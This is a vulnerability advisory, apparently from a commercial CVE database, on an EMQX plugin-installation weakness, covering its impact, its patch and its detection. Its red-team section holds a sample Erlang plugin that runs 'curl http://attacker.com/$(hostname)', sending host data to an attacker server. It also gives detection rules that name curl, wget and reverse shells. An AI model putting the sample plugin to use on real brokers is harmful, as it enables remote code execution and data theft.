CVE-2025-52136
Executive Summary
CVE-2025-52136 affects EMQX, an open-source MQTT message broker, prior to version 5.8.6. The vulnerability allows authenticated administrators to install arbitrary novel plugins through the Dashboard web interface. While the vendor considers this intended behavior, the lack of granular control over which plugins can be installed poses a security risk. An attacker with administrative credentials could introduce malicious plugins, potentially leading to remote code execution, data exfiltration, or persistent backdoor access. The patch in version 5.8.6 adds a defense-in-depth mechanism requiring explicit plugin approval via the emqx ctl plugins allow CLI command before installation via the Dashboard.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby). However, the ability to install arbitrary plugins introduces a supply chain risk. An attacker could craft a malicious plugin that, once installed, compromises the EMQX instance and potentially the entire MQTT infrastructure. Organizations should treat plugin installation as a high-risk operation and enforce strict approval processes.
CVSS Breakdown & Threat Level
- CVSS Score: 3.0 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): High – An attacker must have administrative credentials.
- User Interaction (UI): None – No user interaction is required.
- Scope (S): Unchanged – The vulnerability does not affect resources beyond the vulnerable component.
- Confidentiality (C): None – No direct impact on confidentiality.
- Integrity (I): Low – An attacker can modify system state by installing plugins.
- Availability (A): None – No direct impact on availability.
Threat Level: Low. The requirement for administrative privileges significantly reduces the likelihood of exploitation. However, the potential impact of installing a malicious plugin is high, as it could lead to full system compromise.
Deep Dive & Mechanics
The vulnerability resides in the EMQX Dashboard web interface, which provides a graphical interface for administrators to manage the EMQX instance. The Dashboard includes a plugin management feature that allows administrators to upload and install plugins. In versions prior to 5.8.6, there is no mechanism to restrict which plugins can be installed. Any plugin that is uploaded and meets the basic EMQX plugin format can be installed without additional validation.
The attack flow is as follows:
- An attacker gains administrative access to the EMQX Dashboard (e.g., via credential theft, weak passwords, or social engineering).
- The attacker crafts a malicious plugin that contains arbitrary code (e.g., a Lua script or Erlang module).
- The attacker uploads the plugin via the Dashboard's plugin management interface.
- The plugin is installed and executed, giving the attacker control over the EMQX instance.
The patch in version 5.8.6 introduces a whitelist mechanism. Administrators must explicitly allow a plugin using the emqx ctl plugins allow <plugin_name> CLI command before it can be installed via the Dashboard. This provides a defense-in-depth layer, preventing accidental or malicious installation of unauthorized plugins.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-5.8.6): The Dashboard plugin installation endpoint likely accepts any valid plugin file without checking against an allowlist. The code might look similar to:
% Vulnerable: No allowlist check
handle_plugin_upload(PluginBinary) ->
case validate_plugin_format(PluginBinary) of
{ok, PluginName} ->
install_plugin(PluginName, PluginBinary),
{ok, "Plugin installed"};
{error, Reason} ->
{error, Reason}
end.
Patched Code (5.8.6+):
The patched version adds a check against an allowlist maintained by the emqx ctl plugins allow command:
% Patched: Allowlist check added
handle_plugin_upload(PluginBinary) ->
case validate_plugin_format(PluginBinary) of
{ok, PluginName} ->
case is_plugin_allowed(PluginName) of
true ->
install_plugin(PluginName, PluginBinary),
{ok, "Plugin installed"};
false ->
{error, "Plugin not allowed"}
end;
{error, Reason} ->
{error, Reason}
end.
is_plugin_allowed(PluginName) ->
AllowedPlugins = persistent_term:get(allowed_plugins, []),
lists:member(PluginName, AllowedPlugins).
Exploitation & Lab Setup
Red Team
Prerequisites:
- Administrative access to the EMQX Dashboard (e.g., credentials
admin:publicor similar). - Network access to the Dashboard (default port 18083).
Steps:
- Craft a Malicious Plugin: Create a simple EMQX plugin that executes a reverse shell or exfiltrates data. For example, a plugin that runs a system command:
-module(malicious_plugin). -behaviour(emqx_plugin). -export([load/0, unload/0]). load() -> os:cmd("curl http://attacker.com/$(hostname)"), ok. unload() -> ok. - Package the Plugin: Create a
.tar.gzarchive containing the plugin code and aemqx_plugin.conffile. - Upload via Dashboard: Log in to the Dashboard, navigate to the plugin management section, and upload the malicious plugin.
- Activate the Plugin: Install and start the plugin. The malicious code will execute immediately.
Expected Outcome: The attacker gains code execution on the EMQX server.
Blue Team
Detection:
- Monitor Dashboard access logs for unusual plugin uploads.
- Alert on any plugin installation events, especially from unexpected IP addresses.
- Use file integrity monitoring to detect new plugin files in the EMQX plugins directory.
Prevention:
- Upgrade to EMQX 5.8.6 or later.
- Enforce the use of the
emqx ctl plugins allowcommand to whitelist only approved plugins. - Implement network segmentation to restrict access to the Dashboard.
- Use strong authentication and multi-factor authentication for administrative accounts.
Hunting:
- Search for plugins that are not in the approved list.
- Review system logs for suspicious commands executed by plugins.
- Check for outbound connections from the EMQX server to unknown IP addresses.
Indicators of Compromise (IOCs)
- File Hashes: SHA256 hashes of known malicious EMQX plugins (if available).
- Network Indicators: Outbound connections to attacker-controlled IP addresses on unusual ports.
- Process Indicators: Unexpected processes spawned by the EMQX Erlang VM (e.g.,
curl,wget,bash). - Log Entries: Dashboard logs showing plugin uploads from suspicious IPs or at unusual times.
- File System: New files in the EMQX plugins directory (e.g.,
/opt/emqx/plugins/) that are not in the approved list.
Detection Engineering
YARA Rule
rule Detect_Malicious_EMQX_Plugin {
meta:
description = "Detects malicious EMQX plugins that may be used to exploit CVE-2025-52136"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-52136"
strings:
$s1 = "os:cmd" ascii wide nocase
$s2 = "curl" ascii wide nocase
$s3 = "wget" ascii wide nocase
$s4 = "reverse_shell" ascii wide nocase
$s5 = "emqx_plugin" ascii wide nocase
condition:
all of ($s1, $s5) and any of ($s2, $s3, $s4)
}
Sigma Rule
title: EMQX Malicious Plugin Installation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects installation of plugins via EMQX Dashboard that are not in the allowed list
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-52136
logsource:
product: emqx
service: dashboard
detection:
selection:
EventID: 'plugin_install'
PluginName|not in:
- 'emqx_auth_http'
- 'emqx_web_hook'
condition: selection
falsepositives:
- Legitimate plugin installations after approval via CLI
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"EMQX Dashboard Plugin Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v5/plugins"; http_uri; content:"multipart/form-data"; http_header; content:"filename="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade EMQX: Update to version 5.8.6 or later. This is the only official patch.
- Restrict Dashboard Access: Use firewall rules to limit access to the Dashboard to trusted IP addresses only.
- Change Default Credentials: Ensure all administrative accounts have strong, unique passwords.
- Enable Audit Logging: Configure EMQX to log all administrative actions, including plugin installations.
Long-Term Measures:
- Implement the Allowlist: After upgrading, use the
emqx ctl plugins allowcommand to explicitly approve only necessary plugins. - Regular Security Audits: Periodically review installed plugins and remove any that are not required.
- Network Segmentation: Place EMQX servers in a segmented network with strict access controls.
- Monitor for Anomalies: Use the provided detection rules to monitor for malicious plugin installations.
Workarounds (if patching is not immediately possible):
- Disable the Dashboard plugin management feature entirely by removing the relevant module or blocking the API endpoint.
- Implement a reverse proxy that inspects and blocks plugin upload requests.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.